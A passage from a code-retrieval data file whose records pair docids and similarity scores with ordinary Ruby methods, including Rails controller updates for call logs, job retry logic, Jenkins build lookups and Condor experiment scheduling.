)\r\n .call(\r\n :update,\r\n db_submission_values,\r\n submission_values_columns_map\r\n ) unless @info_values['ignore_updates']\r\n puts \"Updated #{submission_update_count} row(s) - #{submission[\"id\"]}.\" if @enable_debug_logging\r\n end\r\n #end form submission database transaction\r\n end\r\n #end statement for else statement for if this is a delete submission update.\r\n end\r\n #end statement for else statement for if this is a bulk submission insert.\r\n end\r\n \r\n return get_handler_xml_results({\r\n \"Submission Database Id\" => \"\",\r\n \"Updated Submission Count\" => submission_update_count.to_s,\r\n \"Handler Error Message\" => \"\",\r\n \"Handler Error Backtrace\" => \"\"\r\n })\r\n\r\n rescue Exception => e\r\n if @error_handling == \"Error Message\"\r\n error_message = e.message\r\n error_backtrace = e.backtrace.join(\"\\r\\n\")\r\n return get_handler_xml_results({\r\n \"Submission Database Id\" => submission_database_id.to_s,\r\n \"Updated Submission Count\" => submission_update_count.to_s,\r\n \"Handler Error Message\" => error_message,\r\n \"Handler Error Backtrace\" => error_backtrace\r\n })\r\n else\r\n raise e\r\n end\r\n\r\n ensure\r\n # Disconnect at the end *if* running through the Task engine.\r\n @db.disconnect if driver_parameters.nil? == true\r\n puts \"Disconnecting from database.\" if driver_parameters.nil? == true\r\n\r\n end", "title": "" }, { "docid": "99c9c700eaf9d7ce45428902a8105d77", "score": "0.50161564", "text": "def perform\n\n r = validate_and_sanitize\n return r unless r.success?\n\n r = set_registeration_params_in_db\n return r unless r.success?\n\n r = initiate_task_in_saas\n return r unless r.success?\n\n @critical_chain_interaction_log_id = r.data[:critical_chain_interaction_log_id]\n\n r = enqueue_verify_reg_status_job\n return r unless r.success?\n\n #NOTE: Returned this and not fetched from PendingCriticalInteractionIds to avoid extra query\n success_with_data(\n pending_critical_interactions: {\n @parent_tx_activity_type => @critical_chain_interaction_log_id\n }\n )\n\n end", "title": "" }, { "docid": "effac4e3de62d4dc9ff55c3b5086ae8d", "score": "0.5015998", "text": "def resolve\n @issue = Issue.find(params[:id])\n @issue.resolved = 1\n @issue.authors = params[:solution][:author]\n @issue.github = params[:solution][:github]\n @issue.submitter_id = current_user.id\n\n #update latest repo for the project\n @project = Project.find(@issue.project_id)\n @project.github_site = params[:solution][:github]\n\n #TODO: @project.save and \n #@project.update_attributes(params[:project])\n if @project.save && @issue.save \n flash[:notice] = \"Your Solution was Submitted\"\n redirect_to project_issue_path(@project.slug,@issue.id)\n else\n flash[:error] = \"Error in Saving. Please retry.\"\n redirect_to project_issue_path(@project.slug,@issue.id)\n end\n UserMailer.resolution_submitted(@issue, current_user).deliver unless not current_user.email_notification.issues_approval\n end", "title": "" }, { "docid": "69388bbc727e7c21bc1f2c424dfbe927", "score": "0.50114816", "text": "def mark_as_complete\n response = {status: 'ok'}\n sm_record = nil\n begin\n Scalarm::MongoLock.mutex(\"experiment-#{@experiment.id}-simulation-complete\") do\n if @simulation_run.nil? or @simulation_run.is_done\n msg = \"Simulation run #{params[:id]} of experiment #{params[:experiment_id]} is already done (#{@simulation_run.is_done}) or is nil? (#{@simulation_run.nil?})\"\n\n Rails.logger.error(msg)\n response = {status: 'preconditioned_failed', reason: msg}\n else\n unless sm_user.nil?\n if @simulation_run.sm_uuid != sm_user.sm_uuid\n Rails.logger.warn(\"SimulationRun is completed be #{sm_user.sm_uuid} but it should be #{@simulation_run.sm_uuid}\")\n end\n end\n\n @simulation_run.is_done = true\n @simulation_run.to_sent = false\n\n if params[:result].blank?\n @simulation_run.result = {}\n else\n begin\n @simulation_run.result = Utils.parse_json_if_string(params[:result])\n rescue => e\n Rails.logger.warn(\"Got invalid result for #{@simulation_run.id} simulation:\\n#{params[:result].to_s}\")\n @simulation_run.result = {}\n @simulation_run.is_error = true\n @simulation_run.error_reason = t('simulations.error.invalid_result_format') + \"\\n\\n\" + params[:result].to_s\n end\n end\n\n if params.include?(:status) and params[:status] == 'error'\n @simulation_run.is_error = true\n @simulation_run.error_reason = params[:reason] if params.include?(:reason)\n end\n\n @simulation_run.done_at = Time.now\n # infrastructure-related info\n if params.include?('cpu_info')\n cpu_info = Utils.parse_json_if_string(params[:cpu_info])\n @simulation_run.cpu_info = cpu_info\n end\n\n sm_record = !sm_user.nil? && InfrastructureFacadeFactory.get_sm_records_by_query(sm_uuid: sm_user.sm_uuid).first\n\n if sm_record\n unless sm_record.infrastructure.blank?\n @simulation_run.infrastructure = sm_record.infrastructure\n end\n\n unless sm_record.computational_resources.blank?\n @simulation_run.computational_resources = sm_record.computational_resources\n end\n\n sm_record.simulations_left -= 1 if sm_record.simulations_left\n sm_record.finished_simulations ||= 0\n sm_record.finished_simulations += 1\n sm_record.save\n\n unless sm_record.has_more_simulations_to_run?\n InfrastructureFacadeFactory.get_facade_for(sm_record.infrastructure)\n .yield_simulation_manager(sm_record) { |sm| sm.stop }\n end\n end\n\n if params.include? :execution_statistics\n @simulation_run.execution_statistics = Utils.parse_json_if_string params[:execution_statistics]\n end\n\n @simulation_run.save\n # TODO adding caching capability\n #@simulation.remove_from_cache\n\n if params.include?(:status) and params[:status] == 'error'\n @experiment.progress_bar_update(@simulation_run.index, 'error')\n else\n @experiment.progress_bar_update(@simulation_run.index, 'done')\n end\n Thread.new { WorkersScaling::AlgorithmRunner.execute_and_schedule(@experiment.id) }\n end\n end\n rescue => e\n Rails.logger.error(\"Error in marking a simulation as complete - #{e}\")\n response = {status: 'error', reason: e.to_s}\n end\n\n render json: response\n end", "title": "" }, { "docid": "2d528899f17a8d587255a4af550ade6f", "score": "0.5011208", "text": "def retry_upload_screenshots_if_needed(iterator, states, number_of_screenshots, tries, localizations, screenshots_per_language)\n is_failure = states.fetch(\"FAILED\", 0) > 0\n is_missing_screenshot = !screenshots_per_language.empty? && !verify_local_screenshots_are_uploaded(iterator, screenshots_per_language)\n return unless is_failure || is_missing_screenshot\n\n if tries.zero?\n iterator.each_app_screenshot.select { |_, _, app_screenshot| app_screenshot.error? }.each do |localization, _, app_screenshot|\n UI.error(\"#{app_screenshot.file_name} for #{localization.locale} has error(s) - #{app_screenshot.error_messages.join(', ')}\")\n end\n incomplete_screenshot_count = states.reject { |k, v| k == 'COMPLETE' }.reduce(0) { |sum, (k, v)| sum + v }\n UI.user_error!(\"Failed verification of all screenshots uploaded... #{incomplete_screenshot_count} incomplete screenshot(s) still exist\")\n else\n UI.error(\"Failed to upload all screenshots... Tries remaining: #{tries}\")\n # Delete bad entries before retry\n iterator.each_app_screenshot do |_, _, app_screenshot|\n app_screenshot.delete! unless app_screenshot.complete?\n end\n upload_screenshots(localizations, screenshots_per_language, tries: tries)\n end\n end", "title": "" }, { "docid": "37f54ff1c0d9f0b02e715a8cfd88bc72", "score": "0.50097847", "text": "def status\n @logger.info \"Checking status of #{@url}\"\n @stubbornly.retry(timeout: 10, attempts: 4) do\n HTTP.get(@url).code.tap do |result|\n @logger.info \"Result is #{result}\"\n end\n end\n end", "title": "" }, { "docid": "84cb2ff1d74c38b679f6b466fa64b022", "score": "0.50070465", "text": "def fail!\n return if state == 'FAILED'\n JobTracker.transaction do\n update_attribute(:state, 'FAILED')\n Delayed::Job.destroy_failed_jobs ? delayed_jobs.each(&:destroy) : delayed_jobs.each do |dj|\n dj.update_attribute(:failed_at, Time.now)\n end\n end\n end", "title": "" }, { "docid": "3ec998d28a1a2eca724f2d8443d87ab0", "score": "0.5005356", "text": "def ensure_with_retries(type, repo, object)\n attempts = 1\n send(\"ensure_#{type}\".to_sym, repo, object)\nrescue Octokit::BadGateway => e\n raise \"Too many errors received from Github. Cannot continue! #{e}\" if attempts > 10\n sleep 5\n attempts += 1\n retry\nrescue Octokit::TooManyRequests\n time_until_limit_over = github.rate_limit[\"resets_in\"] + 5 # 5 more to be safe\n decorator = TTY::Spinner.new(\" :spinner GitHub API limit reached! Waiting #{time_until_limit_over} seconds before making the next request\", format: :spin)\n decorator.run { sleep time_until_limit_over }\n retry\nend", "title": "" }, { "docid": "b883f014044e44991b0cbaf75fb49154", "score": "0.5000694", "text": "def perform(algorithm_id)\n p 'Validation Job started' if Rails.env.development?\n algorithm = Algorithm.find(algorithm_id)\n if algorithm\n begin\n if DivaServicesApi::Algorithm.validate(algorithm.to_schema)\n PublishAlgorithmJob.perform_later(algorithm.id)\n else\n algorithm.set_status(:validation_error, \"Validation was not sucessful, please review the following message:\\n#{DivaServicesApi::Algorithm.validation_message(algorithm.to_schema)}\")\n end\n rescue Errno::ECONNREFUSED => error\n algorithm.set_status(:connection_error, 'The DIVAServices cannot be reached at the moment. Please try again later.')\n end\n end\n end", "title": "" }, { "docid": "ded982e02b833e01967bb6ad79e9b35b", "score": "0.4997401", "text": "def submit_benchmark_analysis\n begin\n @benchmark_analysis = BenchmarkAnalysis.find_by(id: params[:benchmark_analysis_id], user_id: current_user.id)\n if @benchmark_analysis.present?\n call_cache = params[:call_cache].to_i == 1\n submission = user_fire_cloud_client(current_user).create_workspace_submission(@user_workspace.namespace, @user_workspace.name,\n @benchmark_analysis.configuration_namespace,\n @benchmark_analysis.configuration_name,\n nil, nil, call_cache)\n redirect_to user_workspace_path(project: @user_workspace.namespace, name: @user_workspace.name),\n notice: \"'#{@benchmark_analysis.full_name}' was successfully submitted (submission: #{submission['submissionId']})\" and return\n else\n redirect_to user_workspace_path(project: @user_workspace.namespace, name: @user_workspace.name),\n alert: \"The requested benchmark analysis was not found.\" and return\n end\n rescue => e\n redirect_to user_workspace_path(project: @user_workspace.namespace, name: @user_workspace.name),\n alert: \"'#{@benchmark_analysis.full_name}' failed to submit due to an error: #{e.message})\" and return\n end\n end", "title": "" }, { "docid": "796cd23c103cc1996d7812088510512b", "score": "0.49930778", "text": "def submitSolution(puzzleID, squares)\n # URL for submissions\n url = sprintf('%s/%s/%s/solution', @@base_url, @@api_key, @@env);\n uri = URI(url)\n\n # The solution as a hash.\n solution = {'id' => puzzleID, 'squares' => squares}\n\n # Do the post and return the JSON\n http = Net::HTTP.new(uri.host, uri.port)\n response = http.post(uri.path, solution.to_json)\n return response.body\n end", "title": "" }, { "docid": "8ae59bb86ad32650ba481cda7297dbfe", "score": "0.4987269", "text": "def submit\n configure_concern\n submit_job\n end", "title": "" }, { "docid": "2cc18d96820ed6bb8c8c0febd174c22d", "score": "0.49855772", "text": "def updateStatus\n\n storyURI = @details['Assets']['Asset']['href']\n\n statusXml = '<Asset>\n <Attribute name=\"Custom_JIRAIntStatus\" act=\"set\">' + @mapping.SendToJiraMap['Resolved in JIRA'] + '</Attribute>\n </Asset>'\n\n r_status = self.class.post(\"#{storyURI}\", :body => statusXml,\n :headers => {\"content_type\" => \"application/xml\"}, :verify => false)\n\n if r_status['Error']\n p r_status['Error']\n else\n @persist.updateDefectStatus(@story)\n return 1\n end\n return 0\n end", "title": "" }, { "docid": "5ca1d5cf41d1205cfdde388b4dde36e9", "score": "0.49848586", "text": "def buildwise_montior_parallel_execution(build_id, opts = {}) \r\n start_time = Time.now \r\n \r\n default_opts = {:max_wait_time => 3600, :check_interval => 15}\r\n # default to checking ervery 10 seconds for one hour, unless specified\r\n the_opts = default_opts.merge(opts)\r\n \r\n max_wait_time = the_opts[:max_wait_time]\r\n check_interval = the_opts[:check_interval]\r\n \r\n max_wait_time = 1800 if max_wait_time < 60\r\n check_interval = 15 if check_interval < 5\r\n \r\n puts \"[buildwise.rake] Keep checking build |#{build_id} for max #{max_wait_time} for every #{check_interval} seconds\"\r\n \r\n fio = nil\r\n if ENV[\"ARTIFACT_DIR\"] && Dir.exist?(ENV[\"ARTIFACT_DIR\"])\r\n tmp_log_file = File.join(ENV[\"ARTIFACT_DIR\"], \"rake_parallel.log\") \r\n FileUtils.rm(tmp_log_file) if File.exist?(tmp_log_file)\r\n puts(\"[buildwise.rake] logging parallel monitoring to #{tmp_log_file}\")\r\n fio = File.open(tmp_log_file, \"a\") \r\n fio.puts(\"[#{Time.now}] Keep checking build |#{build_id}| for max #{max_wait_time} for every #{check_interval} seconds\")\r\n end\r\n \r\n begin \r\n Timeout::timeout(max_wait_time + 120) { \r\n \r\n $last_buildwise_server_build_status = nil\r\n while ((Time.now - start_time ) < max_wait_time) # test exeuction timeout\r\n the_build_status = buildwise_build_ui_test_status(build_id) rescue \"Pending\"\r\n if fio\r\n fio.puts(\"[#{Time.now}] build status => |#{the_build_status}|\")\r\n fio.flush\r\n end\r\n \r\n if ($last_buildwise_server_build_status != the_build_status)\r\n puts \"[Rake] #{Time.now} Checking build status: |#{the_build_status}|\"\r\n $last_buildwise_server_build_status = the_build_status\r\n end\r\n \r\n if the_build_status == \"OK\"\r\n fio.close\r\n exit 0\r\n elsif the_build_status == \"Failed\"\r\n fio.close\r\n exit -1\r\n else \r\n if (the_build_status != \"Pending\")\r\n puts(\"[Rake] functional testing status => #{the_build_status}, next check in #{check_interval} seconds\")\r\n end\r\n sleep check_interval # check the build status every minute\r\n end\r\n end\r\n \r\n }\r\n rescue Timeout::Error => e\r\n if fio\r\n fio.puts(\"[#{Time.now}] execution timeouts!\")\r\n fio.close\r\n end \r\n puts(\"[Rake] execution time outs!\")\r\n exit -3 \r\n end\r\n \r\n puts \"[Rake] Execution UI tests expired\"\r\n if fio\r\n fio.puts(\"[#{Time.now}] ends normally\")\r\n fio.close\r\n end\r\n exit -2\r\nend", "title": "" }, { "docid": "65068eb89358623482d5486553b2bda9", "score": "0.49837622", "text": "def run()\n #First, let's clear off existing condor jobs\n system(\"condor_rm #{$user}\")\n\n # Clean up any status files from a previous run\n Dir.chdir(\"#{$experimentbase}/process\") do\n system(\"rm -f __*\")\n end\n\n Dir.chdir(\"#{$experimentbase}/results\") do\n # Remove files with missing agents \n print \"Removing results with missing agents...\\n\"\n system(\"for i in `grep -l missing_ *.txt`; do rm ${i}; done\")\n # Remove files with late agents\n print \"Removing results with late agents...\\n\"\n system(\"for i in `grep -l late_ *.txt`; do rm ${i}; done\")\n # Remove files with bad situations\n print \"Removing results with bad situations...\\n\"\n system(\"for i in `grep -l bad_ *.txt`; do rm ${i}; done\")\n # Remove files with no score\n print \"Removing results with no score...\\n\"\n system(\"for i in `grep -L \\\"score = \\\" *.txt`; do rm ${i}; done\")\n # Remove files with all crashed agents\n print \"Removing results with all crashed agents...\\n\"\n system(\"for i in `grep -l all_crashed_ *.txt`; do rm ${i}; done\")\n # Remove files with crashed agents \n #print \"Removing results with crashed agents...\\n\"\n #system(\"for i in `grep -l crash_opp magma*.txt`; do for j in `grep -l dubble-bubble ${i}`; do rm ${j}; done; done\")\n end\n\n sleep 2\n\n $numResults = $numGames*2*$opponents.size\n\n $opponents.each do |opponent|\n (0..$numGames-1).each do |game|\n run_on_condor(opponent, game, \"left\")\n run_on_condor(opponent, game, \"right\")\n end\n end\n\n\n numRunning = Dir.glob(\"#{$experimentbase}/process/__running_*\").size\n lastNumWaitingFor = $numResults-numRunning\n failueToQueueTimeoutSecs = 900\n queueingTimeoutSecs = failueToQueueTimeoutSecs\n while ($numResults > numRunning)\n #print \"numRunning = #{$numRunning}, numResults = #{numResults}\\n\"\n print \"Waiting for #{$numResults-numRunning} processes to start running...\\n\"\n sleep 5\n expToRerun = Dir.glob(\"#{$experimentbase}/process/__rerun_*\")\n if (expToRerun.size > 0) \n print \"Rerunning #{expToRerun.size} processes...\\n\"\n end\n expToRerun.each do |rerun|\n system(\"rm -f #{rerun}\")\n rerun = File.basename(rerun)\n rerun[\"__rerun_\"] = \"\"\n args = rerun.split(/_/)\n run_on_condor(args[0], args[1], args[2])\n end\n numRunning = Dir.glob(\"#{$experimentbase}/process/__running_*\").size\n\n if ($numResults-numRunning == lastNumWaitingFor)\n queueingTimeoutSecs = queueingTimeoutSecs-5\n if (queueingTimeoutSecs == 0)\n #Something has hung up in the system so lots get out of here\n $timeToWaitMins = 0\n break\n end\n else\n lastNumWaitingFor = $numResults-numRunning\n queueingTimeoutSecs = failueToQueueTimeoutSecs\n end\n end \n\n # Clean up status files\n if (! $logEnabled)\n Dir.chdir(\"#{$experimentbase}/process\") do\n system(\"rm -f __*\")\n end\n end \n\n if ($runningProcesses)\n if ($numResults > numRunning)\n print \"Timed out while queueing processes...rerunning system\\n\" \n else\n print \"All processes have started running!\\n\"\n end\n else\n print \"All results are in!\\n\"\n end \nend", "title": "" }, { "docid": "2f81190a929cb9204e5a88121a1eaf10", "score": "0.4979137", "text": "def joust(prog, code, try_only, &callback) # :yields: result, message\n job = {\n :task => :joust,\n :prog => prog,\n :code => code,\n :try_only => try_only,\n :callback => callback\n }\n submit(job)\n end", "title": "" }, { "docid": "65bfa6aa0445ab31f39cbf644d08547b", "score": "0.49763197", "text": "def commit_and_check_proposal\n answer = proposal_commit(\n \"default\",\n in_queue: false,\n validate: false,\n validate_after_save: false\n )\n # check if error message is saved in one of the nodes\n if answer.first != 200\n found_errors = []\n Node.find(\"state:crowbar_upgrade\").each do |node|\n error = node[\"crowbar_wall\"][\"chef_error\"] || \"\"\n next if error.empty?\n found_errors.push error\n Rails.logger.error(\"Chef run ended with an error on the node #{node.name}: #{error}\")\n node[\"crowbar_wall\"][\"chef_error\"] = \"\"\n node.save\n end\n unless found_errors.empty?\n raise found_errors.join(\"\\n\")\n end\n end\n\n proposal = Proposal.where(barclamp: \"crowbar\", name: \"default\").first\n # there could be different error than one raised from a recipe\n if proposal[\"deployment\"][\"crowbar\"][\"crowbar-status\"] == \"failed\"\n raise proposal[\"deployment\"][\"crowbar\"][\"crowbar-failed\"]\n end\n end", "title": "" }, { "docid": "96eb75b665791d37df4a2ce301bda3b1", "score": "0.49759346", "text": "def abort!\n update!(state: :aborted, merge_on_success: false)\n\n all_build_part_ids = build_parts.select([:id, :build_id]).collect(&:id)\n BuildAttempt.\n where(state: :runnable, build_part_id: all_build_part_ids).\n update_all(state: :aborted, updated_at: Time.now)\n end", "title": "" }, { "docid": "909f00f65daac430a9412ddc9252618d", "score": "0.49695155", "text": "def check_retry\n if @finished_publishing && @pending_hash.empty? && @exception_count > 0 && (@retry || @auto_retry)\n # If we're just doing auto_retry but nothing succeeded last time, then don't run again\n return if !@retry && @auto_retry && @exception_count == @exceptions_per_run.last\n Qwirk.logger.info \"#{self}: Retrying exception records, exception count = #{@exception_count}\"\n @exceptions_per_run << @exception_count\n @exception_count = 0\n @finished_publishing = false\n @fail_thread = Thread.new(@exceptions_per_run.last) do |count|\n begin\n java.lang.Thread.current_thread.name = \"Qwirk fail task: #{task_id}\"\n while !@stopped && (count > 0) && (object = @fail_consumer.receive)\n count -= 1\n publish(object)\n @fail_consumer.acknowledge_message\n end\n @finished_publishing = true\n @pending_hash_mutex.synchronize { check_finish }\n rescue Exception => e\n do_stop\n Qwirk.logger.error \"#{self}: Exception, thread terminating: #{e.message}\\n\\t#{e.backtrace.join(\"\\n\\t\")}\"\n end\n end\n end\n end", "title": "" }, { "docid": "447d80e8527be9d5a4eb45dc79e6ba6e", "score": "0.49678284", "text": "def travis_sync\n res = $travis_conn.post 'user/453045/sync'\n res.travis_raise\n res.success?\nend", "title": "" }, { "docid": "1cd213b5e146b887824bec0ccb6f321d", "score": "0.49614137", "text": "def evaluate!\n eval_start = Time.now\n\n reset\n\n @@checks.each do |name,check|\n @status_code = [check.evaluate!, @status_code].max\n end\n\n @finished = Time.now.utc\n @ms = (Time.now - eval_start) * 1000\n\n if @@checks.size == 0\n @status = :unknown\n @status_code = self.class.valid_status_map[@status]\n else\n @status = self.class.valid_status_map.invert[@status_code]\n end\n end", "title": "" }, { "docid": "dd104e8d1caa33ba1520ca66ae73a4fd", "score": "0.49611163", "text": "def build_of(build_number, rescue_not_found: true)\n # Get the build\n build = Retry.retry_it(times: 3, sleep: 1) do\n job.build_details(build_number)\n end\n raise \"Could not resolve ##{build_number} of #{job.name}\" unless build\n\n # Make sure it wasn't a failure. Failures give no sensible performance\n # data.\n result = build.fetch('result')\n return nil unless result\n return nil unless QUALIFIER_STATES.include?(result.downcase)\n\n # If we have a build, check its slave and possibly record it as detected\n # core count. We'll look for previous builds with the same count on\n # subsequent iteration.\n built_on = build.fetch('builtOn')\n built_on_cores = Slave.cores(built_on)\n if detected_cores && detected_cores != built_on_cores\n @log.info <<-EOF\n[#{job.name}]\nCould not find a set of #{set_size} subsequent successful builds\nbuild:#{number} has unexpected slave #{built_on} type:#{built_on_cores} (expected type:#{detected_cores})\n EOF\n raise CoreMismatchError,\n \"expected #{detected_cores}, got #{built_on_cores}\"\n end\n\n @detected_cores = built_on_cores\n\n # If we do not know the core count because we shrunk the options\n # coerce to the closest match.\n unless Cores.know?(detected_cores)\n @detected_cores = Cores.coerce(detected_cores)\n end\n\n @exception_count -= 1\n build\n rescue JenkinsApi::Exceptions::NotFoundException => e\n raise e unless rescue_not_found\n begin\n build_of(build_number - 1, rescue_not_found: false)\n rescue JenkinsApi::Exceptions::NotFoundException\n # If we did not find the build we'll check the previous one, if it\n # also doesn't exist we'll consider the entire thing unknown as it\n # has been failing for too long.\n return nil\n else\n # Otherwise something unexpected is going on.\n if (@exception_count += 1) >= 5\n raise <<-EXCEPTIONMSG\nrepeated failure trying to resolve #{job.name}'s builds. This indicates an\nunexpected failure in some deep level of either jenkins or the tooling.\nThis must be investigated by checking the specific state #{job.name} is in\nand what triggers it raising an exception.\n#{e}\n EXCEPTIONMSG\n end\n end\n end", "title": "" }, { "docid": "cfe58dc48d3e10911859b7eb0a1dcdfc", "score": "0.49608505", "text": "def submit_request_project\n if @params['hiddenImagePath'] == ''\n @data = \"subject=Anfrage zu Projekt aus Maco-Tec App&project_number=#{@params['project_number']}&information=#{@params['information']}&company=#{@params['company']}&phone=#{@params['phone']}&email=#{@params['email']}&hardware_id=#{Device.instance.hardware_id}&device_os=#{Device.instance.device_os}&locale=#{Device.instance.locale}&device_os_version=#{Device.instance.device_os_version}\"\n ConnectionController.service_request(\"send_request_project_test.php\",nil,\"post\",nil, @data, url_for(:action => :http_callback))\n else\n multipart_array = [{:filename => @params['hiddenImagePath'], :name => \"image\", :content_type => \"image/jpg\"},\n {:name => \"hardware_id\",:body => Device.instance.hardware_id},\n {:name => \"device_os\",:body => Device.instance.device_os},\n {:name => \"locale\",:body => Device.instance.locale},\n {:name => \"device_os_version\",:body => Device.instance.device_os_version},\n {:name => \"action\",:body => \"submit_request_project\"},\n {:name => \"subject\",:body => \"Anfrage zu Projekt aus Maco-Tec App\"},\n {:name => \"project_number\", :body => @params['project_number']},\n {:name => \"information\", :body => @params['information']},\n {:name => \"company\", :body => @params['company']},\n {:name => \"phone\", :body => @params['phone']},\n {:name => \"email\", :body => @params['email']}\n ]\n ConnectionController.service_request(\"send_request_project_test.php\",nil,\"upload_file\",nil, nil, url_for(:action => :http_callback), nil, multipart_array)\n end\n render :action => :wait\n end", "title": "" } ]
6daeba86dfd5a36d4797507619b845f5
PATCH/PUT /calllogs/1 PATCH/PUT /calllogs/1.json
[ { "docid": "17d5ea7975ed0462ecd2bf0ee340e334", "score": "0.6878716", "text": "def update\n respond_to do |format|\n if @calllog.update(calllog_params)\n format.html { redirect_to @calllog, notice: 'Calllog was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @calllog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "ba21bcb00bca49dfab5bdaea1ec424de", "score": "0.6601752", "text": "def update\n @call_log = CallLog.find(params[:id])\n\n respond_to do |format|\n if @call_log.update_attributes(params[:call_log])\n format.html { redirect_to(@call_log, :notice => t(:call_log_updated)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @call_log.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5da2d07cd8ceb4fa6586bb02ef3600a2", "score": "0.6113163", "text": "def update\n @call_history = CallHistory.find(params[:id])\n\n respond_to do |format|\n if @call_history.update_attributes(params[:call_history])\n format.html { redirect_to(@call_history, :notice => 'Call history was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @call_history.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88e1b72537f8c131c242312e395adde8", "score": "0.609017", "text": "def update\n respond_to do |format|\n if @call.update(call_params)\n record_call_activity\n format.html { redirect_to @call, notice: 'Call was successfully updated.' }\n format.json { render :show, status: :ok, location: @call }\n else\n format.html { render :edit }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e933683aa6690f3a3c656033a9b5cf2", "score": "0.60206765", "text": "def update\n respond_to do |format|\n if @call_history.update(call_history_params)\n format.html { redirect_to @call_history, notice: 'Call history was successfully updated.' }\n format.json { render :show, status: :ok, location: @call_history }\n else\n format.html { render :edit }\n format.json { render json: @call_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afff617f243919b0614d9c0a117c39c0", "score": "0.5938814", "text": "def update\n @request_call = RequestCall.find(params[:id])\n\n respond_to do |format|\n if @request_call.update_attributes(params[:request_call])\n format.html { redirect_to @request_call, notice: 'Request call was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request_call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9b7f4d485a985792613101af8094bdc", "score": "0.5875075", "text": "def update\n @call = Call.find(params[:id])\n respond_to do |format|\n if @call.update_attributes(time: DateTime.strptime(params[:call][:time], '%m/%d/%Y %H:%M'))\n format.html { redirect_to @call, notice: 'Call was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1c641d8d8406cb42cbfff968a60e7b1", "score": "0.5863982", "text": "def update\n @call = Call.find(params[:id])\n\n respond_to do |format|\n if @call.update_attributes(params[:call])\n format.html { redirect_to @call, notice: 'Call was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1c641d8d8406cb42cbfff968a60e7b1", "score": "0.5863982", "text": "def update\n @call = Call.find(params[:id])\n\n respond_to do |format|\n if @call.update_attributes(params[:call])\n format.html { redirect_to @call, notice: 'Call was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab75946bca7be35532c524ad14b8af71", "score": "0.5851661", "text": "def update\n respond_to do |format|\n if @call.update(call_params)\n format.html { redirect_to @call, notice: 'Call was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "728f386a63d6c4188daf99fed6abe77f", "score": "0.584674", "text": "def update!(**args)\n @call_ended_timestamp = args[:call_ended_timestamp] if args.key?(:call_ended_timestamp)\n @call_metadata = args[:call_metadata] if args.key?(:call_metadata)\n @call_status = args[:call_status] if args.key?(:call_status)\n end", "title": "" }, { "docid": "4e0e59715d19dce2a47fccc2c67326dd", "score": "0.5828704", "text": "def patch!\n request! :patch\n end", "title": "" }, { "docid": "81719072badff058a2adbee1c7e1c00e", "score": "0.576872", "text": "def update\n respond_to do |format|\n if @call.update(call_params)\n format.html { redirect_to @call, notice: CALL_UPDATED }\n format.json { render :show, status: :ok, location: @call }\n else\n format.html { render :edit }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a66d6089d77079f5836a92914ab85d5", "score": "0.5764653", "text": "def update\n @api_call = ApiCall.find(params[:id])\n\n respond_to do |format|\n if @api_call.update_attributes(params[:api_call])\n format.html { redirect_to @api_call, notice: 'Api call was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "043f36c70dd65179b47431f0348c093a", "score": "0.5761752", "text": "def update\n respond_to do |format|\n if @call.update(call_params)\n format.html { redirect_to @call, notice: \"Call was successfully updated.\" }\n format.json { render :show, status: :ok, location: @call }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7075b6d24805f3601bf33ae13fe55237", "score": "0.5755541", "text": "def update\n respond_to do |format|\n if @call.update(call_params)\n format.html { redirect_to @call, notice: 'Call was successfully updated.' }\n format.json { render :show, status: :ok, location: @call }\n else\n format.html { render :edit }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7075b6d24805f3601bf33ae13fe55237", "score": "0.5755541", "text": "def update\n respond_to do |format|\n if @call.update(call_params)\n format.html { redirect_to @call, notice: 'Call was successfully updated.' }\n format.json { render :show, status: :ok, location: @call }\n else\n format.html { render :edit }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "432eb5eee00e81ee4b436de8946c2f44", "score": "0.5747614", "text": "def update\n respond_to do |format|\n if @ncr_api_log.update(ncr_api_log_params)\n format.html { redirect_to @ncr_api_log, notice: 'Ncr api log was successfully updated.' }\n format.json { render :show, status: :ok, location: @ncr_api_log }\n else\n format.html { render :edit }\n format.json { render json: @ncr_api_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63ef4b6a39030aa7ea3caea86e780638", "score": "0.57140976", "text": "def update\n respond_to do |format|\n if @call_status.update(call_status_params)\n format.html { redirect_to @call_status, notice: 'Call status was successfully updated.' }\n format.json { render :show, status: :ok, location: @call_status }\n else\n format.html { render :edit }\n format.json { render json: @call_status.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13347217e6557a4012f589b59162575c", "score": "0.57033795", "text": "def update!(**args)\n @log_name = 